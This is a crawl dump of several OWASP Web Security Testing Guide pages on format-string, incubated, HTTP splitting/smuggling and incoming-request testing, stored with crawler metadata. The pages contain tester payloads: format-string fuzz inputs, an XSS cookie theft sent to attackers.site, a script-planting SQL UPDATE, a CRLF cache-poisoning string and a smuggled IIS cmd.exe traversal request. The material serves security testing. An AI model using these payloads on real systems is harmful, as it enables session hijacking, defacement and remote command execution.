the conversion specifiers for all languages the system under test uses. See the [OWASP Format string attack](https://owasp.org/www-community/attacks/Format_string_attack) page for possible inputs to use. If the test fails, the program will crash or display an unexpected output. If the test passes, the attempt to send a conversion specifier should be blocked, or the string should go through the system with no issues as with any other valid input.\n\nThe examples in the following subsections have a URL of this form:\n\n`https://vulnerable_host/userinfo?username=x`\n\n- The user-controlled value is `x` (for the `username` parameter).\n\n#### Manual Injection\n\nTesters can perform a manual test using a web browser or other web API debugging tools. Browse to the web application or site such that the query has conversion specifiers. Note that most conversion specifiers need [encoding](https://tools.ietf.org/html/rfc3986#section-2.1) if sent inside a URL because they contain special characters including `%` and `{`. The test can introduce a string of specifiers `%s%s%s%n` by browsing with the following URL:\n\n`https://vulnerable_host/userinfo?username=%25s%25s%25s%25n`\n\nIf the web site is vulnerable, the browser or tool should receive an error, which may include a timeout or an HTTP return code 500.\n\nThe Java code returns the error\n\n`java.util.MissingFormatArgumentException: Format specifier '%s'`\n\nDepending on the C implementation, the process may crash completely with `Segmentation Fault`.\n\n#### Tool Assisted Fuzzing\n\nFuzzing tools including [wfuzz](https://github.com/xmendez/wfuzz) can automate injection tests. For wfuzz, start with a text file (fuzz.txt in this example) with one input per line:\n\nfuzz.txt:\n\n```\nalice\n%s%s%s%n\n%p%p%p%p%p\n{event.__init__.__globals__[CONFIG][SECRET_KEY]}\n```\n\nThe `fuzz.txt` file contains the following:\n\n- A valid input `alice` to verify the application can process a normal input\n- Two strings with C-like conversion specifiers\n- One Python conversion specifier to attempt to read global variables\n\nTo send the fuzzing input file to the web application under test, use the following command:\n\n`wfuzz -c -z file,fuzz.txt,urlencode https://vulnerable_host/userinfo?username=FUZZ`\n\nIn the above call, the `urlencode` argument enables the approprate escaping for the strings and `FUZZ` (with the capital letters) tells the tool where to introduce the inputs.\n\nAn example output is as follows\n\n```\nID Response Lines Word Chars Payload\n===================================================================\n\n000000002: 500 0 L 5 W 142 Ch \"%25s%25s%25s%25n\"\n000000003: 500 0 L 5 W 137 Ch \"%25p%25p%25p%25p%25p\"\n000000004: 200 0 L 1 W 48 Ch \"%7Bevent.__init__.__globals__%5BCONFIG%5D%5BSECRET_KEY%5D%7D\"\n000000001: 200 0 L 1 W 5 Ch \"alice\"\n```\n\nThe above result validates the application’s weakness to the injection of C-like conversion specifiers `%s` and `%p`.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7522, "slov": 948, "odkazu": 193, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:06", "sha256": "faeb874976680194365617995627dc7f65dbad395c998da98a973ebcee2cd670", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.netsparker.com/blog/web-security/string-concatenation-format-string-vulnerabilities/", "https://www.veracode.com/security/format-string", "https://en.cppreference.com/w/c/io/fprintf", "https://perldoc.perl.org/functions/printf.html", "https://docs.python.org/2/library/string.html", "https://docs.python.org/3/library/stdtypes.html", "https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/", "https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/String.html", "https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/io/PrintStream.html", "https://www.php.net/manual/es/function.printf.php", "https://www.defcon.org/images/defcon-18/dc-18-presentations/Haas/DEFCON-18-Haas-Adv-Format-String-Attacks.pdf", "https://dwheeler.com/flawfinder/", "https://find-sec-bugs.github.io/bugs.htm", "https://github.com/ovr/phpsa/blob/master/docs/05_Analyzers.md", "https://tools.ietf.org/html/rfc3986", "https://github.com/xmendez/wfuzz", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/14-Testing_for_Incubated_Vulnerability", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/14-Testing_for_Incubated_Vulnerability", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/14-Testing_for_Incubated_Vulnerability", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Incubated Vulnerability"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "File Upload Example"}, {"uroven": 4, "text": "XSS Example on a Bulletin Board"}, {"uroven": 4, "text": "SQL Injection Example"}, {"uroven": 4, "text": "Misconfigured Server"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Advisories"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing for Incubated Vulnerability\n\n| ID |\n| --- |\n| WSTG-INPV-14 |\n\n## Summary\n\nAlso often referred to as persistent attacks, incubated testing is a complex testing method that needs more than one data validation vulnerability to work. Incubated vulnerabilities are typically used to conduct “watering hole” attacks against users of legitimate web applications.\n\nIncubated vulnerabilities have the following characteristics:\n\n- The attack vector needs to be persisted in the first place, it needs to be stored in the persistence layer, and this would only occur if weak data validation was present or the data arrived into the system via another channel such as an admin console or directly via a backend batch process.\n- Secondly, once the attack vector was “recalled” the vector would need to be executed successfully. For example, an incubated XSS attack would require weak output validation so the script would be delivered to the client in its executable form.\n\nExploitation of some vulnerabilities, or even functional features of a web application, will allow an attacker to plant a piece of data that will later be retrieved by an unsuspecting user or other component of the system, exploiting some vulnerability there.\n\nIn a penetration test, `incubated attacks` can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site).\n\nThis type of asynchronous attack covers a great spectrum of attack vectors, among them the following:\n\n- File upload components in a web application, allowing the attacker to upload corrupted media files (jpg images exploiting `CVE-2004-0200` , png images exploiting `CVE-2004-0597` , executable files, site pages with active component, etc.)\n- Cross-site scripting issues in public forums posts (see [Testing for Stored Cross Site Scripting](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting) for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board, or blog in order to inject some JavaScript code at the vulnerable page, and will be eventually rendered and executed at the site user’s browser –using the trust level of the original (vulnerable) site at the user’s browser.\n- SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary JavaScript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., [XSS-proxy](http://sourceforge.net/projects/xss-proxy) ).\n- Misconfigured servers allowing installation of Java packages or similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)\n\n## How to Test\n\n### Black-Box Testing\n\n#### File Upload Example\n\nVerify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user. Send your victim an email or other kind of alert in order to lead him/her to browse the page. The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site.\n\n#### XSS Example on a Bulletin Board\n\n1. Introduce `JavaScript` code as the value for the vulnerable field, for instance:\n ``\n2. Direct users to browse the vulnerable page or wait for the users to browse it. Have a “listener” at `attackers.site` host listening for all incoming connections.\n3. When users browse the vulnerable page, a request containing their cookie (`document.cookie` is included as part of the requested URL) will be sent to the `attackers.site` host, such as the following: `- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;\n %20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;\n TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1`\n4. Use cookies obtained to impersonate users at the vulnerable site.\n\n#### SQL Injection Example\n\nUsually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test is whether the target site has a SQL injection vulnerability. This is described in [Testing for SQL Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection). For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do.\n\nThe tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert.\n\n1. In a similar fashion as in the previous XSS example, use a web page field vulnerable to SQL injection issues to change a value in the database that would be used by the application as input to be shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, let’s suppose there is a `footer` table at the database with all footers for the web site pages, including a `notice` field with the legal notice that appears at the bottom of each web page. You could use the following query to inject JavaScript code to the `notice` field at the `footer` table in the database. `SELECT field1, field2, field3`\n FROM table_x\n WHERE field2 = 'x';\n UPDATE footer\n SET notice = 'Copyright 1999-2030%20\n '\n WHERE notice = 'Copyright 1999-2030';`\n2. Now, each user browsing the site will silently send his cookies to the `attackers.site` (steps b.2 to b.4).\n\n#### Misconfigured Server\n\nSome web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with an Apache Tomcat server that doesn’t enforce strong credentials to access its Web Application Manager (or if the pen testers have been able to obtain valid credentials for the administration module by other means).\n\nIn this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular users can then access (most probably with a higher degree of trust than when accessing a different site).\n\nAs should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).\n\n### Gray-Box Testing\n\nGray-box or white-box testing techniques will be the same as previously discussed.\n\n- Examining input validation is key in mitigating against this vulnerability. If other systems in the enterprise use the same persistence layer they may have weak input validation and the data may be persisted via a `back door` .\n- To combat the `back door` issue for client side attacks, output validation must also be employed so tainted data shall be encoded prior to displaying to the client, and hence not execute.\n\n## Tools\n\n- [XSS-proxy](https://sourceforge.net/projects/xss-proxy)\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org/)\n- [Burp Suite](https://portswigger.net/burp)\n- [Metasploit](https://www.metasploit.com/)\n\n## References\n\nMost of the references from the Cross-site scripting section are valid. As explained above, incubated attacks are executed when combining exploits such as XSS or SQL-injection attacks.\n\n### Advisories\n\n- [CERT(R) Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests](https://www.cert.org/advisories/CA-2000-02.html)\n- [Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site scripting vulnerability](https://cxsecurity.com/issue/WLB-2006080004)\n\n### Whitepapers\n\n- [Web Application Security Consortium “Threat Classification, Cross-site scripting”](http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 8838, "slov": 1312, "odkazu": 183, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:07", "sha256": "335f6a11e5d74c5e80d269ad45f0fede6e05aee79b69e57f575572a6b5941a95", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://sourceforge.net/projects/xss-proxy", "https://sourceforge.net/projects/xss-proxy", "https://www.zaproxy.org/", "https://portswigger.net/burp", "https://www.metasploit.com/", "https://www.cert.org/advisories/CA-2000-02.html", "https://cxsecurity.com/issue/WLB-2006080004", "http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/15-Testing_for_HTTP_Splitting_Smuggling", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/15-Testing_for_HTTP_Splitting_Smuggling", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/15-Testing_for_HTTP_Splitting_Smuggling", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for HTTP Splitting Smuggling"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "HTTP Splitting"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 4, "text": "HTTP Splitting"}, {"uroven": 4, "text": "HTTP Smuggling"}, {"uroven": 5, "text": "Application Firewall Bypass"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing for HTTP Splitting Smuggling\n\n| ID |\n| --- |\n| WSTG-INPV-15 |\n\n## Summary\n\nThis section illustrates examples of attacks that leverage specific features of the HTTP protocol, either by exploiting weaknesses of the web application or peculiarities in the way different agents interpret HTTP messages.\nThis section will analyze two different attacks that target specific HTTP headers:\n\n- HTTP splitting\n- HTTP smuggling\n\nThe first attack exploits a lack of input sanitization which allows an intruder to insert CR and LF characters into the headers of the application response and to ‘split’ that answer into two different HTTP messages. The goal of the attack can vary from a cache poisoning to cross site scripting.\n\nIn the second attack, the attacker exploits the fact that some specially crafted HTTP messages can be parsed and interpreted in different ways depending on the agent that receives them. HTTP smuggling requires some level of knowledge about the different agents that are handling the HTTP messages (web server, proxy, firewall) and therefore will be included only in the gray-box testing section.\n\n## How to Test\n\n### Black-Box Testing\n\n#### HTTP Splitting\n\nSome web applications use part of the user input to generate the values of some headers of their responses. The most straightforward example is provided by redirections in which the target URL depends on some user-submitted value. Let’s say for instance that the user is asked to choose whether he/she prefers a standard or advanced web interface. The choice will be passed as a parameter that will be used in the response header to trigger the redirection to the corresponding page.\n\nMore specifically, if the parameter ‘interface’ has the value ‘advanced’, the application will answer with the following:\n\n```\nHTTP/1.1 302 Moved Temporarily\nDate: Sun, 03 Dec 2005 16:22:19 GMT\nLocation: http://victim.com/main.jsp?interface=advanced\n \n```\n\nWhen receiving this message, the browser will bring the user to the page indicated in the Location header. However, if the application does not filter the user input, it will be possible to insert in the ‘interface’ parameter the sequence %0d%0a, which represents the CRLF sequence that is used to separate different lines. At this point, testers will be able to trigger a response that will be interpreted as two different responses by anybody who happens to parse it, for instance a web cache sitting between us and the application. This can be leveraged by an attacker to poison this web cache so that it will provide false content in all subsequent requests.\n\nLet’s say that in the previous example the tester passes the following data as the interface parameter:\n\n`advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0aSorry,%20System%20Down`\n\nThe resulting answer from the vulnerable application will therefore be the following:\n\n```\nHTTP/1.1 302 Moved Temporarily\nDate: Sun, 03 Dec 2005 16:22:19 GMT\nLocation: http://victim.com/main.jsp?interface=advanced\nContent-Length: 0\n\nHTTP/1.1 200 OK\nContent-Type: text/html\nContent-Length: 35\n\nSorry,%20System%20Down \n```\n\nThe web cache will see two different responses, so if the attacker sends, immediately after the first request, a second one asking for `/index.html`, the web cache will match this request with the second response and cache its content, so that all subsequent requests directed to `victim.com/index.html` passing through that web cache will receive the “system down” message. In this way, an attacker would be able to effectively deface the site for all users using that web cache (the whole Internet, if the web cache is a reverse proxy for the web application).\n\nAlternatively, the attacker could pass to those users a JavaScript snippet that mounts a cross site scripting attack, e.g., to steal the cookies. Note that while the vulnerability is in the application, the target here is its users. Therefore, in order to look for this vulnerability, the tester needs to identify all user controlled input that influences one or more headers in the response, and check whether he/she can successfully inject a CR+LF sequence in it.\n\nThe headers that are the most likely candidates for this attack are:\n\n- Location\n- Set-Cookie\n\nIt must be noted that a successful exploitation of this vulnerability in a real world scenario can be quite complex, as several factors must be taken into account:\n\n1. The pen-tester must properly set the headers in the fake response for it to be successfully cached (e.g., a Last-Modified header with a date set in the future). He/she might also have to destroy previously cached versions of the target pagers, by issuing a preliminary request with `Pragma: no-cache` in the request headers\n2. The application, while not filtering the CR+LF sequence, might filter other characters that are needed for a successful attack (e.g., `<` and `>` ). In this case, the tester can try to use other encodings (e.g., UTF-7)\n3. Some targets (e.g., ASP) will URL-encode the path part of the Location header (e.g., `www.victim.com/redirect.asp` ), making a CRLF sequence useless. However, they fail to encode the query section (e.g., ?interface=advanced), meaning that a leading question mark is enough to bypass this filtering\n\nFor a more detailed discussion about this attack and other information about possible scenarios and applications, check the papers referenced at the bottom of this section.\n\n### Gray-Box Testing\n\n#### HTTP Splitting\n\nA successful exploitation of HTTP Splitting is greatly helped by knowing some details of the web application and of the attack target. For instance, different targets can use different methods to decide when the first HTTP message ends and when the second starts. Some will use the message boundaries, as in the previous example. Other targets will assume that different messages will be carried by different packets. Others will allocate for each message a number of chunks of predetermined length: in this case, the second message will have to start exactly at the beginning of a chunk and this will require the tester to use padding between the two messages. This might cause some trouble when the vulnerable parameter is to be sent in the URL, as a very long URL is likely to be truncated or filtered. A gray-box scenario can help the attacker to find a workaround: several application servers, for instance, will allow the request to be sent using POST instead of GET.\n\n#### HTTP Smuggling\n\nAs mentioned in the introduction, HTTP Smuggling leverages the different ways that a particularly crafted HTTP message can be parsed and interpreted by different agents (browsers, web caches, application firewalls). This relatively new kind of attack was first discovered by Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin in 2005. There are several possible applications and we will analyze one of the most spectacular: the bypass of an application firewall. Refer to the original whitepaper (linked at the bottom of this page) for more detailed information and other scenarios.\n\n##### Application Firewall Bypass\n\nThere are several products that enable a system administration to detect and block a hostile web request depending on some known malicious pattern that is embedded in the request. For example, consider the infamous, old [Unicode directory traversal attack against IIS server](https://www.securityfocus.com/bid/1806), in which an attacker could break out the www root by issuing a request like:\n\n`http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+`\n\nOf course, it is quite easy to spot and filter this attack by the presence of strings like “..” and “cmd.exe” in the URL. However, IIS 5.0 is quite picky about POST requests whose body is up to 48K bytes and truncates all content that is beyond this limit when the Content-Type header is different from application/x-www-form-urlencoded. The pen-tester can leverage this by creating a very large request, structured as follows:\n\n```\nPOST /target.asp HTTP/1.1 <-- Request #1 Host: target Connection: Keep-Alive Content-Length: 49225 <49152 bytes of garbage> \n```\n\n```\nPOST /target.asp HTTP/1.0 <-- Request #2 Connection: Keep-Alive Content-Length: 33 \n```\n\n```\nPOST /target.asp HTTP/1.0 <-- Request #3 xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 <-- Request #4 Connection: Keep-Alive \n```\n\nWhat happens here is that the `Request #1` is made of 49223 bytes, which includes also the lines of `Request #2`. Therefore, a firewall (or any other agent beside IIS 5.0) will see Request #1, will fail to see `Request #2` (its data will be just part of #1), will see `Request #3` and miss `Request #4` (because the POST will be just part of the fake header xxxx).\n\nNow, what happens to IIS 5.0 ? It will stop parsing `Request #1` right after the 49152 bytes of garbage (as it will have reached the 48K=49152 bytes limit) and will therefore parse `Request #2` as a new, separate request. `Request #2` claims that its content is 33 bytes, which includes everything until “xxxx: “, making IIS miss `Request #3` (interpreted as part of `Request #2`) but spot `Request #4`, as its POST starts right after the 33rd byte or `Request #2`. It is a bit complicated, but the point is that the attack URL will not be detected by the firewall (it will be interpreted as the body of a previous request) but will be correctly parsed (and executed) by IIS.\n\nWhile in the aforementioned case the technique exploits a bug of a web server, there are other scenarios in which we can leverage the different ways that different HTTP-enabled devices parse messages that are not 1005 RFC compliant. For instance, the HTTP protocol allows only one Content-Length header, but does not specify how to handle a message that has two instances of this header. Some implementations will use the first one while others will prefer the second, cleaning the way for HTTP Smuggling attacks. Another example is the use of the Content-Length header in a GET message.\n\nNote that HTTP Smuggling does `*not*` exploit any vulnerability in the target web application. Therefore, it might be somewhat tricky, in a pen-test engagement, to convince the client that a countermeasure should be looked for anyway.\n\n## References\n\n### Whitepapers\n\n- [Amit Klein, “Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics”](https://packetstormsecurity.com/files/32815/Divide-and-Conquer-HTTP-Response-Splitting-Whitepaper.html)\n- [Amit Klein: “HTTP Message Splitting, Smuggling and Other Animals”](https://www.slideserve.com/alicia/http-message-splitting-smuggling-and-other-animals-powerpoint-ppt-presentation)\n- [Amit Klein: “HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)”](https://www.securityfocus.com/archive/1/411418)\n- [Amit Klein: “HTTP Response Smuggling”](https://www.securityfocus.com/archive/1/425593)\n- [Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP Request Smuggling”](https://www.cgisecurity.com/lib/http-request-smuggling.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11083, "slov": 1704, "odkazu": 181, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:08", "sha256": "797eb29995ae83e0b2716ef2f13f580254207a77b3903330fecd8973af717c3e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.securityfocus.com/bid/1806", "https://packetstormsecurity.com/files/32815/Divide-and-Conquer-HTTP-Response-Splitting-Whitepaper.html", "https://www.slideserve.com/alicia/http-message-splitting-smuggling-and-other-animals-powerpoint-ppt-presentation", "https://www.securityfocus.com/archive/1/411418", "https://www.securityfocus.com/archive/1/425593", "https://www.cgisecurity.com/lib/http-request-smuggling.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/16-Testing_for_HTTP_Incoming_Requests", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/16-Testing_for_HTTP_Incoming_Requests", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/16-Testing_for_HTTP_Incoming_Requests", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for HTTP Incoming Requests"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Reverse Proxy"}, {"uroven": 3, "text": "Port Forwarding"}, {"uroven": 3, "text": "TCP-level Network Traffic Capture"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Testing for HTTP Incoming Requests\n\n| ID |\n| --- |\n| WSTG-INPV-16 |\n\n## Summary\n\nThis section describes how to monitor all incoming/outgoing HTTP requests on both client or web server side. The purpose of this testing is to verify if there is unnecessary or suspicious HTTP request sending in the background.\n\nMost of Web security testing tools (i.e. AppScan, BurpSuite, ZAP) act as HTTP Proxy. This will require changes of proxy on client side application or browser. The testing techniques listed below is primary focused on how we can monitor HTTP requests without changes of client side which will be more close to production usage scenario.\n\n## Test Objectives\n\n1. Monitor all incoming and outgoing HTTP requests to the Web Server to inspect any suspicious requests.\n2. Monitor HTTP traffic without changes of end user Browser proxy or client-side application.\n\n## How to Test\n\n### Reverse Proxy\n\nThere is situation that we would like to monitor all HTTP incoming requests on web server side but we can’t change configuration on browser or application client side. In this scenario, we can setup reverse proxy on web server side to monitor all incoming/outgoing requests on web server side.\n\nFor windows platform, Fiddler is recommended. It provides not only monitor but can also edit/reply the HTTP requests. Refer to [this reference for how to configure Fiddler as reverse Proxy](http://docs.telerik.com/fiddler/Configure-Fiddler/Tasks/UseFiddlerAsReverseProxy)\n\nFor Linux platform, Charles Web Debugging Proxy may be used.\n\nThe testing steps:\n\n1. Install Fiddler or Charles on Web Server\n2. Configure the Fiddler or Charles as Reverse Proxy\n3. Capture the HTTP traffic\n4. Inspect HTTP traffic\n5. Modify HTTP requests and replay the modified requests for testing\n\n### Port Forwarding\n\nPort forwarding is another way to allow us intercept HTTP requests without changes of client side. You can also use Charles as a SOCKS proxy to act as port forwarding or uses of Port Forwarding tools. It will allow us to forward all coming client side captured traffic to web server port.\n\nThe testing flow will be:\n\n1. Install the Charles or port forwarding on another machine or web Server\n2. Configure the Charles as Socks proxy as port forwarding.\n\n### TCP-level Network Traffic Capture\n\nThis technique monitor all the network traffic at TCP-level. TCPDump or WireShark tools can be used. However, these tools don’t allow us edit the captured traffic and send modified HTTP requests for testing. To replay the captured traffic (PCAP) packets, Ostinato can be used.\n\nThe testing steps will be:\n\n1. Activate TCPDump or WireShark on Web Server side to capture network traffic\n2. Monitor the captured files (PCAP)\n3. Edit PCAP files by Ostinato tool based on need\n4. Reply the HTTP requests\n\nFiddler or Charles are recommended since these tools can capture HTTP traffic and also easily edit/reply the modified HTTP requests. In addition, if the web traffic is HTTPS, the wireshark will need to import the web server private key to inspect the HTTPS message body. Otherwise, the HTTPS message body of the captured traffic will all be encrypted.\n\n## Tools\n\n- [Fiddler](https://www.telerik.com/fiddler/)\n- [TCPProxy](http://grinder.sourceforge.net/g3/tcpproxy.html)\n- [Charles Web Debugging Proxy](https://www.charlesproxy.com/)\n- [WireShark](https://www.wireshark.org/)\n- [PowerEdit-Pcap](https://sourceforge.net/projects/powereditpcap/)\n- [pcapteller](https://github.com/BlackArch/pcapteller)\n- [replayproxy](https://github.com/sparrowt/replayproxy)\n- [Ostinato](https://ostinato.org/)\n\n## References\n\n- [Charles Web Debugging Proxy](https://www.charlesproxy.com/)\n- [Fiddler](https://www.telerik.com/fiddler/)\n- [TCPDUMP](https://www.tcpdump.org/)\n- [Ostinato](https://ostinato.org/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3811, "slov": 525, "odkazu": 185, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:09", "sha256": "aa174d96333102dfcabfb3e36f198615eb54490de957c374cdc285f6321e3aa4", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://docs.telerik.com/fiddler/Configure-Fiddler/Tasks/UseFiddlerAsReverseProxy", "https://www.telerik.com/fiddler/", "http://grinder.sourceforge.net/g3/tcpproxy.html", "https://www.charlesproxy.com/", "https://www.wireshark.org/", "https://sourceforge.net/projects/powereditpcap/", "https://github.com/BlackArch/pcapteller", "https://github.com/sparrowt/replayproxy", "https://ostinato.org/", "https://www.tcpdump.org/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", 